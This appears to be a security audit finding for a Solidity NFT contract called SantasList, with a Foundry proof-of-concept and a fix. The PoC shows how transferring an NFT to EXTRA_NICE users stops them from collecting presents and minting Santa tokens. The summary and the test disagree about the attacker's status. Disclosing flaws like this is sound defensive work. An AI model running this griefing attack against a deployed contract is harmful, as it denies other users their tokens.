Summary
A malicious actor with EXTRA_NICE status can prevent other users from claiming NFTs, becoming the sole owner of Santa tokens. Since only EXTRA_NICE users are permitted to mint Santa tokens, this actor could monopolize Santa token ownership.
Vulnerability Details
The contract checks if a user owns an NFT before allowing them to collect their present. A malicious user can exploit this by continually sending their NFT to EXTRA_NICE users, thereby preventing these users from minting Santa tokens.
To demonstrate this vulnerability, insert the following Proof of Concept (PoC) into the SantasListTest.t.sol file and execute the command:
forge test -vvvv --match-test testMaliciousActorDDOSsuperNiceUser
function testMaliciousActorDDOSsuperNiceUser() public {
address superNiceExploiter = makeAddr("niceExploiter");
vm.startPrank(santa);
santasList.checkListFixed(user, SantasList.StatusFixed.EXTRA_NICE);
santasList.checkTwiceFixed(user, SantasList.StatusFixed.EXTRA_NICE);
exploiterListOfExtraNiceUser.push(user);
santasList.checkListFixed(superNiceExploiter, SantasList.StatusFixed.NICE);
santasList.checkTwiceFixed(superNiceExploiter, SantasList.StatusFixed.NICE);
vm.stopPrank();
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
vm.startPrank(superNiceExploiter);
for (uint256 i; exploiterListOfExtraNiceUser.length > i; i++){
santasList.collectPresent();
santasList.transferFrom(superNiceExploiter, exploiterListOfExtraNiceUser[i], 0);
}
vm.stopPrank();
vm.startPrank(user);
vm.expectRevert();
santasList.collectPresent();
vm.stopPrank();
}
This test demonstrates how EXTRA_NICE users are unable to claim Santa tokens while being targeted by the exploiter.
Impact
This issue is rated as HIGH due to the exploiter's potential to become the sole owner of SantaTokens, rendering the buyPresent method ineffective.
As the only owner of SantaTokens, the exploiter could influence the token's price and supply.
Each time the exploiter collects a present, they mint more SantaTokens.
Tools Used
Forge testing framework
Recommendations
To mitigate this issue, track whether each address has claimed their present using an independent mapping, instead of relying on NFT balance. Update this mapping upon the claiming of a present, irrespective of subsequent NFT transfers.
Add the following mapping:
mapping(address => bool) private hasClaimed;
Update your method as the following
function collectPresent() external {
if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) {
revert SantasList__NotChristmasYet();
}
- if (balanceOf(msg.sender) > 0) {
- revert SantasList__AlreadyCollected();
- }
+ if (hasClaimed[msg.sender]){
+ revert SantasList__AlreadyCollected();
+ }
if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) {
+ hasClaimed[msg.sender] = true;
_mintAndIncrement();
return;
} else if (
s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE
&& s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE
) {
+ hasClaimed[msg.sender] = true;
_mintAndIncrement();
i_santaToken.mint(msg.sender);
return;
}
revert SantasList__NotNice();
}
You can verify that this implementation is safe by running the following test
function testMaliciousActorDDOSsuperNiceUser() public {
address superNiceExploiter = makeAddr("niceExploiter");
vm.startPrank(santa);
santasList.checkListFixed(user, SantasList.StatusFixed.EXTRA_NICE);
santasList.checkTwiceFixed(user, SantasList.StatusFixed.EXTRA_NICE);
exploiterListOfExtraNiceUser.push(user);
santasList.checkListFixed(superNiceExploiter, SantasList.StatusFixed.NICE);
santasList.checkTwiceFixed(superNiceExploiter, SantasList.StatusFixed.NICE);
vm.stopPrank();
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
vm.startPrank(superNiceExploiter);
santasList.collectPresent();
for (uint256 i; exploiterListOfExtraNiceUser.length > i; i++){
santasList.transferFrom(superNiceExploiter, exploiterListOfExtraNiceUser[i], 0);
vm.expectRevert();
santasList.collectPresent();
}
vm.stopPrank();
vm.startPrank(user);
santasList.collectPresent();
vm.stopPrank();
}
